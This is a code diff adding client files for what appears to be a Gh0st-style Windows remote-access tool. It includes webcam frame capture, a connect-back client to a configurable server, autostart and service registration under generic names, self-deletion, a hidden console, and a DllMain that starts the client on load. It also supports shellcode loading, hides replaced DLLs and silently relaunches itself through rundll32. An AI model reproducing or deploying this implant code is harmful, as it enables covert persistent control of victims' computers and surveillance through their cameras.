HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
|
||||
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
|
||||
if (hr != NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
CComPtr<IEnumMoniker> pEm;
|
||||
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
|
||||
if (hr != NOERROR) {
|
||||
return FALSE;
|
||||
}
|
||||
pEm->Reset();
|
||||
ULONG cFetched;
|
||||
IMoniker *pM;
|
||||
int index = 0;
|
||||
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
|
||||
IPropertyBag *pBag;
|
||||
//通过BindToStorage 可以访问该设备的标识集
|
||||
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
|
||||
if(SUCCEEDED(hr)) {
|
||||
VARIANT var;
|
||||
var.vt = VT_BSTR;
|
||||
hr = pBag->Read(L"FriendlyName", &var, NULL);
|
||||
if (hr == NOERROR) {
|
||||
if (index == deviceId) {
|
||||
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
|
||||
}
|
||||
SysFreeString(var.bstrVal);
|
||||
}
|
||||
pBag->Release(); //引用计数--
|
||||
}
|
||||
pM->Release();
|
||||
index++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt)
|
||||
{
|
||||
if (mt.cbFormat != 0) {
|
||||
CoTaskMemFree((PVOID)mt.pbFormat);
|
||||
mt.cbFormat = 0;
|
||||
mt.pbFormat = NULL;
|
||||
}
|
||||
if (mt.pUnk != NULL) {
|
||||
mt.pUnk->Release();
|
||||
mt.pUnk = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT CCaptureVideo::SetupVideoWindow()
|
||||
{
|
||||
HRESULT hr;
|
||||
hr = m_pVW->put_Owner((OAHWND)m_hWnd);
|
||||
if (FAILED(hr))return hr;
|
||||
hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN);
|
||||
if (FAILED(hr))return hr;
|
||||
ResizeVideoWindow();
|
||||
hr = m_pVW->put_Visible(OATRUE);
|
||||
return hr;
|
||||
}
|
||||
|
||||
void CCaptureVideo::ResizeVideoWindow()
|
||||
{
|
||||
if (m_pVW) {
|
||||
RECT rc;
|
||||
::GetClientRect(m_hWnd,&rc);
|
||||
m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //将窗口设置到0 0 0 0 处
|
||||
}
|
||||
}
|
||||
|
||||
void CCaptureVideo::SendEnd() //发送结束 设置可以再取数据
|
||||
{
|
||||
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
|
||||
}
|
||||
|
||||
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
|
||||
{
|
||||
BYTE *szBuffer = NULL;
|
||||
int n = 200; // 10s没有获取到数据则返回NULL
|
||||
do {
|
||||
if (mCB.bStact==CMD_CAN_SEND) { //这里改变了一下发送的状态
|
||||
if (szBuffer = mCB.GetNextScreen(dwSize)) //是否获取到视频
|
||||
break;
|
||||
}
|
||||
Sleep(50);
|
||||
} while (!m_bExit && --n);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
242
client/CaptureVideo.h
Normal file
242
client/CaptureVideo.h
Normal file
@@ -0,0 +1,242 @@
|
||||
// CaptureVideo.h: interface for the CCaptureVideo class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <Objbase.h>
|
||||
#include <uuids.h>
|
||||
#include <strmif.h>
|
||||
#include <CONTROL.H>
|
||||
#include <ATLBASE.H>
|
||||
#include <amvideo.h>
|
||||
#include <DShow.h>
|
||||
|
||||
#pragma comment(lib,"Strmiids.lib")
|
||||
|
||||
// TODO 全局变量, 定义位置:qedit.h
|
||||
|
||||
// 接口 ID 回调接口,用于在每一帧抓取时通知应用
|
||||
EXTERN_C const IID IID_ISampleGrabberCB;
|
||||
|
||||
// 类 ID 创建 Sample Grabber COM 对象
|
||||
EXTERN_C const CLSID CLSID_SampleGrabber;
|
||||
|
||||
// 接口 ID 设置 Sample Grabber 的参数、格式、回调等操作接口
|
||||
EXTERN_C const IID IID_ISampleGrabber;
|
||||
|
||||
struct ISampleGrabberCB : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SampleCB(
|
||||
double SampleTime,
|
||||
IMediaSample * pSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BufferCB(
|
||||
double SampleTime,
|
||||
BYTE* pBuffer,
|
||||
long BufferLen) = 0;
|
||||
};
|
||||
|
||||
struct ISampleGrabber : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
|
||||
BOOL OneShot) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
|
||||
const AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
|
||||
AM_MEDIA_TYPE* pType) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
|
||||
BOOL BufferThem) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
|
||||
/* [out][in] */ long* pBufferSize,
|
||||
/* [out] */ long* pBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
|
||||
/* [retval][out] */ IMediaSample** ppSample) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetCallback(
|
||||
ISampleGrabberCB* pCallback,
|
||||
long WhichMethodToCallback) = 0;
|
||||
|
||||
};
|
||||
|
||||
enum {
|
||||
CMD_CAN_COPY,
|
||||
CMD_CAN_SEND
|
||||
};
|
||||
|
||||
#ifndef SAFE_RELEASE
|
||||
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
|
||||
#endif
|
||||
|
||||
class CSampleGrabberCB : public ISampleGrabberCB
|
||||
{
|
||||
public:
|
||||
ULONG m_ulFullWidth;
|
||||
ULONG m_ulFullHeight;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
BYTE* m_BitmapData_Full;
|
||||
BOOL bStact;
|
||||
DWORD m_dwSize; // 视频图像数据大小
|
||||
|
||||
CSampleGrabberCB()
|
||||
{
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
m_BitmapData_Full = NULL;
|
||||
|
||||
m_dwSize = 0;
|
||||
bStact = CMD_CAN_COPY;
|
||||
}
|
||||
|
||||
~CSampleGrabberCB()
|
||||
{
|
||||
if (m_BitmapInfor_Full!=NULL) {
|
||||
delete[] m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
if (m_BitmapData_Full!=NULL) {
|
||||
delete[] m_BitmapData_Full;
|
||||
}
|
||||
|
||||
m_ulFullWidth = 0 ;
|
||||
m_ulFullHeight = 0 ;
|
||||
}
|
||||
|
||||
LPBITMAPINFO GetBmpInfor()
|
||||
{
|
||||
if (m_BitmapInfor_Full==NULL) { //头信息
|
||||
ConstructBI(24);
|
||||
}
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
|
||||
|
||||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
|
||||
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||
BitmapInforHeader->biWidth = m_ulFullWidth;
|
||||
BitmapInforHeader->biHeight = m_ulFullHeight;
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount;
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||
BitmapInforHeader->biClrUsed = 0;
|
||||
BitmapInforHeader->biClrImportant = 0;
|
||||
|
||||
BitmapInforHeader->biSizeImage = //图像数据
|
||||
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
|
||||
* BitmapInforHeader->biHeight;
|
||||
// 16位和以后的没有颜色表,直接返回
|
||||
|
||||
//!!
|
||||
m_dwSize=BitmapInforHeader->biSizeImage; //数据大小
|
||||
m_BitmapData_Full=new BYTE[m_dwSize+10];
|
||||
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
|
||||
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP_(ULONG) AddRef()
|
||||
{
|
||||
return 2;
|
||||
}
|
||||
STDMETHODIMP_(ULONG) Release()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
|
||||
{
|
||||
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ) {
|
||||
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
|
||||
return NOERROR;
|
||||
}
|
||||
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
BYTE* GetNextScreen(DWORD &dwSize)
|
||||
{
|
||||
dwSize=m_dwSize;
|
||||
return (BYTE*)m_BitmapData_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
//回调函数 在这里得到 bmp 的数据
|
||||
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
|
||||
{
|
||||
if (!szBuffer) {
|
||||
return E_POINTER;
|
||||
}
|
||||
|
||||
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
|
||||
//将图像数据拷贝的我们的内存
|
||||
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
|
||||
|
||||
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
|
||||
return S_OK;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
};
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
CCaptureVideo();
|
||||
virtual ~CCaptureVideo();
|
||||
LPBITMAPINFO GetBmpInfor();
|
||||
HRESULT InitCaptureGraphBuilder();
|
||||
HRESULT Open(int iDeviceID,int iPress);
|
||||
BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||
|
||||
LPBYTE GetDIB(DWORD& dwSize);
|
||||
|
||||
int GetDIBBufSize() const
|
||||
{
|
||||
return mCB.m_dwSize;
|
||||
}
|
||||
|
||||
BOOL m_bExit;
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
static CSampleGrabberCB mCB;
|
||||
IGraphBuilder * m_pGB; //通过该值可以访问 FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //通过该值可以访问 真实CDO
|
||||
|
||||
IMediaControl* m_pMC; //过滤设备的接口
|
||||
IVideoWindow* m_pVW;
|
||||
|
||||
IBaseFilter* m_pBF; //FDO
|
||||
ISampleGrabber* m_pGrabber; //引脚 24Color
|
||||
|
||||
void FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||
void ResizeVideoWindow();
|
||||
HRESULT SetupVideoWindow();
|
||||
void SendEnd();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
14
client/ClientApp.h
Normal file
14
client/ClientApp.h
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
class App
|
||||
{
|
||||
public:
|
||||
App() {}
|
||||
virtual ~App() {}
|
||||
|
||||
virtual bool Initialize() = 0;
|
||||
virtual bool Start() = 0;
|
||||
virtual bool Stop() = 0;
|
||||
virtual bool IsMainInstance() = 0;
|
||||
};
|
||||
615
client/ClientDll.cpp
Normal file
615
client/ClientDll.cpp
Normal file
@@ -0,0 +1,615 @@
|
||||
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ClientDll.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
extern "C" {
|
||||
#include "reg_startup.h"
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
// 启动的客户端个数
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// 远程地址
|
||||
CONNECT_ADDRESS g_SETTINGS = {
|
||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
|
||||
0, 0, 7057226198541618915, {},
|
||||
};
|
||||
|
||||
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
|
||||
// 因此全局来看只有一个全局变量: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
BOOL IsProcessExit()
|
||||
{
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp)
|
||||
{
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
// 只在进程退出时停止分享连接,原服务端的状态变化不应影响分享连接
|
||||
return !IsProcessExit() && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp)
|
||||
{
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
||||
{
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param)
|
||||
{
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0) {
|
||||
settings.SetServer(ip, port);
|
||||
}
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
|
||||
Sleep(3000);
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
if (app->m_bShared) {
|
||||
WAIT_n(!IsProcessExit(), 5, 200);
|
||||
}
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
|
||||
* @param handles 句柄数组
|
||||
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
|
||||
* @param timeout 超时时间(毫秒,INFINITE表示无限等待)
|
||||
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
|
||||
*/
|
||||
DWORD WaitForMultipleHandlesEx(
|
||||
const std::vector<HANDLE>& handles,
|
||||
BOOL waitAll = TRUE,
|
||||
DWORD timeout = INFINITE
|
||||
)
|
||||
{
|
||||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64)
|
||||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||||
|
||||
// 1. 检查句柄有效性
|
||||
for (HANDLE h : handles) {
|
||||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||||
SetLastError(ERROR_INVALID_HANDLE);
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 如果句柄数≤64,直接调用原生API
|
||||
if (totalHandles <= MAX_WAIT) {
|
||||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||||
}
|
||||
|
||||
// 3. 分批等待逻辑
|
||||
if (waitAll) {
|
||||
// 必须等待所有句柄完成
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
TRUE, // 必须等待当前批次全部完成
|
||||
timeout
|
||||
);
|
||||
if (result == WAIT_FAILED) {
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
return WAIT_OBJECT_0;
|
||||
} else {
|
||||
// 只需等待任意一个句柄完成
|
||||
while (true) {
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
FALSE, // 当前批次任意一个完成即可
|
||||
timeout
|
||||
);
|
||||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||||
return result + i; // 返回全局索引
|
||||
}
|
||||
}
|
||||
if (timeout != INFINITE) {
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
#include "auto_start.h"
|
||||
|
||||
// 隐藏控制台
|
||||
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
||||
// step2: 在链接器"系统"设置系统为窗口
|
||||
// 完成
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
|
||||
#else
|
||||
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
|
||||
#endif
|
||||
if (isClose) {
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
||||
if (!SetSelfStart(argv[0], REG_NAME, Logf)) {
|
||||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||||
}
|
||||
|
||||
if (isService) {
|
||||
g_SETTINGS.iStartup = Startup_GhostMsc;
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
if (ret) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return 0x20251123;
|
||||
}
|
||||
}
|
||||
|
||||
status = E_RUN;
|
||||
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||
SAFE_CLOSE_HANDLE(hMutex);
|
||||
hMutex = NULL;
|
||||
#ifndef _DEBUG
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return -2;
|
||||
#endif
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 6543;
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
#ifdef _DEBUG
|
||||
g_SETTINGS.SetServer(ip, port);
|
||||
#endif
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// 启动单个客户端
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
|
||||
}
|
||||
}
|
||||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
SAFE_CLOSE_HANDLE(hMutex);
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(500);
|
||||
if (isService) {
|
||||
Mprintf("CALL ServiceWrapper_Stop.\n");
|
||||
int r = ServiceWrapper_Stop();
|
||||
}
|
||||
Logger::getInstance().stop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param)
|
||||
{
|
||||
do {
|
||||
TestRun(NULL, 0);
|
||||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
HMODULE hInstance = (HMODULE)param;
|
||||
FreeLibraryAndExitThread(hInstance, -1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH: {
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 启动运行一个ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (app.IsThreadRun()) {
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
|
||||
return;
|
||||
}
|
||||
app.SetThreadRun(TRUE);
|
||||
app.SetProcessState(S_CLIENT_NORMAL);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
|
||||
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
app.SetThreadRun(FALSE);
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#else
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#endif
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
}
|
||||
|
||||
// 停止运行
|
||||
extern "C" __declspec(dllexport) void StopRun()
|
||||
{
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
// 是否成功停止
|
||||
extern "C" __declspec(dllexport) bool IsStoped()
|
||||
{
|
||||
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
||||
}
|
||||
|
||||
// 是否退出客户端
|
||||
extern "C" __declspec(dllexport) BOOL IsExit()
|
||||
{
|
||||
return g_MyApp.g_bExit;
|
||||
}
|
||||
|
||||
// 简单运行此程序,无需任何参数
|
||||
extern "C" __declspec(dllexport) int EasyRun()
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: 程序更新
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
}
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// 启用新的DLL
|
||||
void RunNewDll(const char* cmdLine)
|
||||
{
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
*(p + 1) = 0;
|
||||
std::string folder = path;
|
||||
std::string oldFile = folder + "ServerDll.old";
|
||||
std::string newFile = folder + "ServerDll.new";
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
BOOL ok = TRUE;
|
||||
if (_access(newFile.c_str(), 0) != -1) {
|
||||
if (_access(oldFile.c_str(), 0) != -1) {
|
||||
if (!DeleteFileA(oldFile.c_str())) {
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
if (_access(path, 0) != -1) {
|
||||
ok = FALSE;
|
||||
}
|
||||
} else {
|
||||
// 设置文件属性为隐藏
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
|
||||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
} else if (ok) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
char cmd[1024];
|
||||
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||||
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||||
}
|
||||
|
||||
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
|
||||
HWND hwnd: 父窗口句柄(通常为 NULL)。
|
||||
